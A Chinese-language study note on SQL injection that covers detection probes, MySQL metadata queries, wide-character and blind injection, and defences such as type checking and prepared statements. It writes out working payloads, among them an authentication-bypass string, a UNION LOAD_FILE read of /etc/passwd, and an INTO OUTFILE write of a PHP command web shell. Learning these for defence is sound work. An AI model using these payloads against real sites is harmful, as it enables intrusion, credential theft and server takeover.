sql注入:
- sql注入原理
- sql注入分类
- 常见数据库注入
- sql注入防范
1)sql注入原理:
原理:用户输入的数据被sql解释器执行。
2)注入漏洞分类:
- 数字型注入
- 字符型注入
sql注入漏洞判断条件:
-
语句错误:http://xxx.com/xxx.php?id=1'
-
无法查询内容:http://xxx.com/xxx.php?id=1 and 1=2
-
永真条件,返回数据与原始请求数据一致:http://xxx.com/xxx.php?id=1 and 1=1
2.1)数字型注入:(通常存在于弱类型语言)
2.2)字符型注入:
3)常见数据库注入:
- Mysql
- SqlServer
3.1)Mysql数据库注入:
> mysql注释:
- #:单行注释,注释到结尾
- --:注释从“--”序列到行尾,使用时,后面跟上一个或多个空格
- /**/:多行注释
> 获取元数据(schema:图表):(Mysql5.0以上提供了INFORMATION_SCHEMA)
- INFORMATION_SCHEMA.SCHEMATA:查询数据库名称
- INFORMATION_SCHEMA.TABLES:查询当前数据库表
- INFORMATION_SCHEMA.COLUMNS:查询指定表所有字段
> 联合查询union:
> Mysql函数利用:
- load_file():读取文件(必须有FILE权限)
union select 1, load_file('etc/passwd'),3,4,5,6 #
- into outfile:写入文件(必须有FILE权限)
select '<?php phpinfo(); ?> into outfile 'c:\wwwroot\1.php'
- 连接字符串:concat()
> Mysql显错式注入:(暂时略过)
> 宽字符注入:(编码不统一造成的,一般存在与php+mysql)
原因:由于单引号被自动转义,即变成了:\'
突破:%d5'
> Mysql长字符截断:
> 延时注入(盲注的一种):利用sleep(m)函数,在m秒后运行语句
原因:判断页面打开时间(判断sql注入是否存在的一种方法)
4)sql注入防御:
- 数据类型判断
- 特殊字符转义
4.1)严格的数据类型:
对于弱类型语言,使用is_numeric、ctype_digit()等函数判断数据类型
4.2)特殊字符转义:
4.3)使用预编译语句:
失效:使用动态拼接sql语句就失效
详解:
1)盲注:服务器没有错误回显时完成的注入攻击;可以通过构造简单条件语句,根据页面是否发生变化来判断。
如果以下URL的返回结果相同,我们可以确认SQL注入漏洞:
http://xxx.com/xxx.php?id=2
http://xxx.com/xxx.php?id=3-1
http://xxx.com/xxx.php?id=3%2D1
也可以通过判断:
http://xxx.com/xxx.php?id=1
http://xxx.com/xxx.php?id=1 and 1=2
2)内联sql注入:内联注入是指向查询注入一些SQL代码后,原来的查询仍然会前部执行
//字符串内联注入
SELECT * FROM USER_TABLE WHERE username='[USER_ENTRY]' AND password='[USER_ENTRY]'
//如果用户输入 'OR '1' ='1,密码为空,则SQL语句变为:WHERE username=' ' OR '1' ='1' AND password=' '由于AND比OR有更高的优先级,SQL语句实际执行:
WHERE (username=' ') OR ('1' ='1' AND password=' ')
//这样,只会返回用户表中口令为空的行,所以,需要增加一个条件,输入'OR 1=1 OR '1'='1。
WHERE (username=' ') OR (1=1) OR ('1' ='1' AND password=' ')
//这样,就可以绕过验证过程。
//'OR 1=1 OR '1'='1也被称为万能密码。
3)时间延迟注入:使用数据库延时特征注入
4)sql注入产生的过程:
- 转义字符处理不当
- SQL数据库将单引号 ' 解析成代码与数据之间的分界线:单引号外面的内容均是需要运行的代码,而用单引号引起来的内容均是数据。
- Oracle中,空格、双竖线||、逗号、点号、*/、双引号”都有特殊的含义
- 处理类型不当
- 处理数字数据时,不需要使用单引号将数字数据引起来,否则,数字数据会被当作字符串来处理
- MySQL提供了一个名为LOAD_FILE函数,能够读取文件并将文件内容作为字符串返回。使用条件:文件存在、有完整路径和读取权限
-
//如果用户把参数userid的内容改为: 1 UNION ALL SELECT LOAD_FILE('/etc/passwd')-- xx //则攻击者会直接读取到passwd文件。 //另外,还可以利用SELECT INTO OUTFILE命令来进行写操作 1 UNION SELECT “<? system($_REQUEST['cmd']);?>” INTO OUTFILE “/var/www/html/victim.com/cmd.php”-- xx
- 查询语句组装不当
-
SQL = ''SELECT'' .$_GET[''column1'']. '','' . $_GET[''column2''] . ''FROM'' . $_GET[''table''] ; //如果攻击者操作HTTP请求,并使用值users替换表名,使用user,password字段替换列名,那么他便可以显示系统中的数据库用户的用户名和口令。
-
- 处理不当
- 多个提交处理不当
- 不安全的数据库配置
sql注入实例
1. 注入100‘ or ‘1’ = ‘1
SELECT *
FROM Products
WHERE Price < '$_GET["val"]'
ORDER BY ProductDescription
如果用户输入的val参数值为100,则执行
WHERE Price < '100'
//但是,如果用户输入的val参数值为100' OR '1'='1,则执行的SQL语句为
SELECT *
FROM Products
WHERE Price < '100' OR '1' = '1'
ORDER BY ProductDescription //将忽略价格,返回数据库中的所有商品